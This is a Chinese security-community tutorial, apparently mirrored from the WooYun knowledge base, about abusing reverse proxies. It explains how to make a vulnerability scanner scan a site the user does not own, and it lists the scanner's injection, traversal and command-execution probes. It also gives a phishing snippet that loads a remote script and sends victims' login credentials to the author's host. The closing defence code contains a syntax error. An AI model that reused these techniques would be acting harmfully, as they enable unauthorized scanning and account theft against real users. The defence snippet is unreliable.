反向代理的有趣用法

wyzsk發表於2020-08-19
作者: VIP · 2013/08/27 10:53

0x00 簡介


首先請各位客官看這裡:http://viptest.yupage.com

這便是一個使用開源程式7ghost搭建的反向代理演示站。

反向代理,是指反向代理伺服器從目標內容伺服器上抓取內容返回給使用者,反向代理伺服器充當了一箇中介的功能,它本身是沒有任何內容的。整個流程如下:

2013081909582854868.jpg

整個流程非常簡單,只需要負責對映請求的.htaccess和負責抓取內容的index.php就可完成,中間還可以透過正規表示式等實現內容和網址的替換。

這種技術還廣泛運用於小偷程式中。

0x01 用反向代理讓漏洞檢測平臺幫我們掃漏洞


現在有一些線上漏洞檢測平臺(如360 安全寶等),都能讓我們對目標網站的安全狀況有一個初步的瞭解。但是,這些漏洞檢測平臺都是需要驗證所有權的,那麼,我們能不能繞過這個限制呢?反向代理能解決這個問題。

首先,使用設定好反向代理的目標(如wooyun.org),然後將我們配置好了反向代理程式的網址輸入到漏洞檢測平臺,選取程式碼驗證方式,在我們的核心中轉頁面(index.php)中插入這段程式碼,就能夠透過漏洞掃描平臺的驗證,掃目標站的漏洞了。

0x02 搭建一個“蜜罐”來抓取漏洞掃描平臺的掃描語句


各個線上漏洞掃描平臺都看上去非常高階洋氣國際化的樣子,那麼,它們是怎麼掃描的呢?可以使用反向代理來抓掃描語句。

首先,在index.php核心中轉檔案中加入一段程式碼,將所有請求記錄到log.txt中

#!php
$data = $_SERVER['REQUEST_URI'] . "\n";
if ($_POST) {
    foreach ($_POST as $key => $value) {
        $data.= "$key=$value" . '\n';
    }
}
file_put_contents("log.txt", $data, FILE_APPEND);

然後將搭建好的“蜜罐”丟給360漏洞掃描平臺掃描,大約1個小時後,去看看log.txt,已經記錄下了上千條掃描日誌,由於日誌太長,無法全部貼上來,選取幾條有代表性的貼上來,並註釋了一下可能的用途,全部日誌請在http://viptest.yupage.com/log.txt檢視。

/index.php 用蜘蛛從主頁層層抓取頁面
/akjkl678686hjhjk/ 抓取404頁面標識
/admin/ 掃描後臺地址
/backup/ 找備份
/bugs/new_confirm/phpmyadmin/ 找phpmyadmin空口令
/crossdomain.xml 看有沒有flash跨域限制
/bugs/new_submit/fckeditor/upload/ 找有漏洞的編輯器
/examples/jsp/cal/cal2.jsp?time= 檢測XSS
/job.php?action=list%27and%28123%29%3D%27321 掃描SQL注射
/?&redirect:%25{13579246-1} 掃Struts2
/bugs/phpinfo.php 掃phpinfo
/job.php?action=../../../../../../../../../../../../boot.ini%00.htm 掃任意檔案讀取
/user.php?action=login%7Cping+-n+12+127.0.0.1 掃命令執行

除此之外,還大量掃描了一些不存在的頁面,如/bugs/new_unclaimed/fckeditor/ajkljlhjh/,不知道有何用意。

0x03 釣魚


由於所有經過反向代理伺服器的頁面都可以控制,所以我們也可以利用此進行釣魚。請各位看這裡:http://viptest.yupage.com/user.php?action=login

我使用正規表示式在該頁面中插入了一段這樣的程式碼

<script src="http://pujun.li/xss.js"></script><script>xss.xform(document.forms[1],'http://vip.yupage.com/wy.php');</script>

使用了長短短的表單劫持程式碼,這樣如果使用者在我的演示站登入烏雲帳號時就會自動把烏雲帳號傳送到我的一個接受頁面,而還是能正常登入的。除此之外,由於所有經過反向代理伺服器的頁面都可以控制,我們還可以做很多事,如在頁面中動態插入一個xsser.me盜cookies等。

0x04 如何防止被反向代理


看完了反向代理的危害後,如何防止自己的站被反向代理呢?有一段程式碼能夠較好地防止被反向代理

.htaccess:

RewriteEngine On RewriteBase / php_value auto_append_file proxy.php proxy.php:


#!php
<?php  
    if ((getenv("HTTP_X_FORWARDED_FOR")!="")&&($getenv("HTTP_HOST")!="wooyun.org")){  
        exit();  
    }  
?>

實際上XFF頭完全可以偽造,此方法並不能完全防禦住~

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章